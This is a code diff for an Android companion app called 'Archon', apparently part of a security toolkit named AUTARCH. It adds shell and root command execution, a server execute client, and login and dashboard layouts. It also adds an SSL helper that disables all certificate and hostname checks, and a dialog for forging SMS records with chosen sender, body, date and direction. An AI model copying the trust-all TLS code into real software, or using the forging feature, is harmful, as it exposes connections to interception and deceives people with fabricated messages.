conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
if (responseCode in 200..299) {
|
||||
val stdout = extractJsonField(response, "stdout") ?: response
|
||||
val stderr = extractJsonField(response, "stderr") ?: ""
|
||||
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
|
||||
ShellResult(stdout, stderr, exitCode)
|
||||
} else {
|
||||
ShellResult("", "Server HTTP $responseCode: $response", -1)
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Server execute failed", e)
|
||||
ShellResult("", "Server error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractJsonField(json: String, field: String): String? {
|
||||
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
|
||||
val match = pattern.find(json)
|
||||
return match?.groupValues?.get(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
data class ShellResult(
|
||||
val stdout: String,
|
||||
val stderr: String,
|
||||
val exitCode: Int
|
||||
)
|
||||
|
||||
object ShellExecutor {
|
||||
|
||||
private const val DEFAULT_TIMEOUT_SEC = 10L
|
||||
|
||||
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
|
||||
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly()
|
||||
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||
}
|
||||
|
||||
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||
|
||||
ShellResult(stdout, stderr, process.exitValue())
|
||||
} catch (e: Exception) {
|
||||
ShellResult("", "Error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
|
||||
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly()
|
||||
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||
}
|
||||
|
||||
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||
|
||||
ShellResult(stdout, stderr, process.exitValue())
|
||||
} catch (e: Exception) {
|
||||
ShellResult("", "Root error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun isRootAvailable(): Boolean {
|
||||
val result = execute("which su")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import java.net.HttpURLConnection
|
||||
import java.security.SecureRandom
|
||||
import java.security.cert.X509Certificate
|
||||
import javax.net.ssl.HostnameVerifier
|
||||
import javax.net.ssl.HttpsURLConnection
|
||||
import javax.net.ssl.SSLContext
|
||||
import javax.net.ssl.TrustManager
|
||||
import javax.net.ssl.X509TrustManager
|
||||
|
||||
/**
|
||||
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
|
||||
*
|
||||
* Since AUTARCH generates a self-signed cert at first launch,
|
||||
* Android's default trust store will reject it. This helper
|
||||
* creates a permissive SSLContext for LAN-only connections to
|
||||
* the known AUTARCH server.
|
||||
*/
|
||||
object SslHelper {
|
||||
|
||||
private val trustAllManager = object : X509TrustManager {
|
||||
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
|
||||
}
|
||||
|
||||
private val trustAllHostname = HostnameVerifier { _, _ -> true }
|
||||
|
||||
private val sslContext: SSLContext by lazy {
|
||||
SSLContext.getInstance("TLS").apply {
|
||||
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
|
||||
}
|
||||
}
|
||||
|
||||
val socketFactory get() = sslContext.socketFactory
|
||||
|
||||
/**
|
||||
* Apply self-signed cert trust to a connection.
|
||||
* If the connection is HTTPS, sets the permissive SSLSocketFactory
|
||||
* and hostname verifier. Plain HTTP connections are left unchanged.
|
||||
*/
|
||||
fun trustSelfSigned(conn: HttpURLConnection) {
|
||||
if (conn is HttpsURLConnection) {
|
||||
conn.sslSocketFactory = socketFactory
|
||||
conn.hostnameVerifier = trustAllHostname
|
||||
}
|
||||
}
|
||||
}
|
||||
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
|
||||
<!-- Background circle -->
|
||||
<path
|
||||
android:fillColor="#0D0D0D"
|
||||
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
|
||||
|
||||
<!-- Stylized "A" / Greek column -->
|
||||
<!-- Left pillar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
|
||||
|
||||
<!-- Right pillar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
|
||||
|
||||
<!-- Top triangle / pediment -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M54,18 L38,28 L70,28 Z" />
|
||||
|
||||
<!-- Crossbar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
|
||||
|
||||
<!-- Base -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
|
||||
|
||||
</vector>
|
||||
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="24dp"
|
||||
android:height="24dp"
|
||||
android:viewportWidth="24"
|
||||
android:viewportHeight="24"
|
||||
android:tint="#00FF41">
|
||||
<!-- Wrench/build icon -->
|
||||
<path
|
||||
android:fillColor="@android:color/white"
|
||||
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
|
||||
</vector>
|
||||
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
@@ -0,0 +1,173 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="32dp">
|
||||
|
||||
<!-- Logo / Title -->
|
||||
<TextView
|
||||
android:id="@+id/login_title"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON"
|
||||
android:textColor="@color/primary"
|
||||
android:textSize="36sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent"
|
||||
app:layout_constraintVertical_chainStyle="packed"
|
||||
app:layout_constraintVertical_bias="0.3" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/login_subtitle"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="AUTARCH Companion"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:layout_marginTop="4dp"
|
||||
android:layout_marginBottom="40dp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/login_title" />
|
||||
|
||||
<!-- Server IP -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_server_ip"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="40dp"
|
||||
android:hint="Server IP"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_server_ip"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:hint="10.0.0.26" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Username -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_username"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Username"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_username"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Password -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_password"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Password"
|
||||
app:endIconMode="password_toggle"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_username">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_password"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="textPassword"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Port (smaller, below password) -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_port"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="120dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Port"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_password">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:text="8181"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Auto-detect button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login_detect"
|
||||
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="AUTO-DETECT"
|
||||
android:textColor="@color/primary"
|
||||
app:layout_constraintBottom_toBottomOf="@id/layout_port"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintTop_toTopOf="@id/layout_port" />
|
||||
|
||||
<!-- Login button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="24dp"
|
||||
android:text="LOGIN"
|
||||
android:textSize="16sp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_port" />
|
||||
|
||||
<!-- Status message -->
|
||||
<TextView
|
||||
android:id="@+id/login_status"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:gravity="center"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/btn_login" />
|
||||
|
||||
<!-- Skip/offline button at bottom -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login_skip"
|
||||
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="SKIP (OFFLINE MODE)"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="12sp"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background">
|
||||
|
||||
<androidx.fragment.app.FragmentContainerView
|
||||
android:id="@+id/nav_host_fragment"
|
||||
android:name="androidx.navigation.fragment.NavHostFragment"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="0dp"
|
||||
app:defaultNavHost="true"
|
||||
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent"
|
||||
app:navGraph="@navigation/nav_graph" />
|
||||
|
||||
<com.google.android.material.bottomnavigation.BottomNavigationView
|
||||
android:id="@+id/bottom_nav"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:background="@color/surface"
|
||||
app:itemIconTint="@color/nav_item_color"
|
||||
app:itemTextColor="@color/nav_item_color"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:menu="@menu/bottom_nav" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
@@ -0,0 +1,203 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:background="@color/surface">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="20dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_dialog_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="18sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Phone number -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_phone_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_address"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="44dp"
|
||||
android:hint="@string/forge_phone_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="phone"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Contact name (optional) -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_name_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_contact_name"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="44dp"
|
||||
android:hint="@string/forge_name_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textPersonName"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_body_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_body"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:hint="@string/forge_body_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textMultiLine"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="8dp"
|
||||
android:minLines="3"
|
||||
android:maxLines="8"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Direction toggle (Sent / Received) -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_direction_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_type_received"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_received"
|
||||
android:textSize="12sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
android:tag="selected" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_type_sent"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_sent"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Date / Time -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_date_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_pick_date"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_pick_date"
|
||||
android:textSize="12sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
android:tag="now" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_pick_time"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_pick_time"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
android:tag="now" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Read status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<android.widget.CheckBox
|
||||
android:id="@+id/forge_read_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:checked="true" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_mark_read"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
@@ -0,0 +1,225 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/dashboard_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Server Discovery Section -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_discovery"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/discovery_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/discovery_status_text"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/discovery_idle"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="14sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:id="@+id/discovery_method_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/discovery_methods"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_discover"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/scan_network"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Connection Status -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Connection Status"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Privilege -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/privilege_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/privilege_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Privilege: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Server -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/server_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- WireGuard -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<View
|
||||
android:id="@+id/wg_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/wg_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
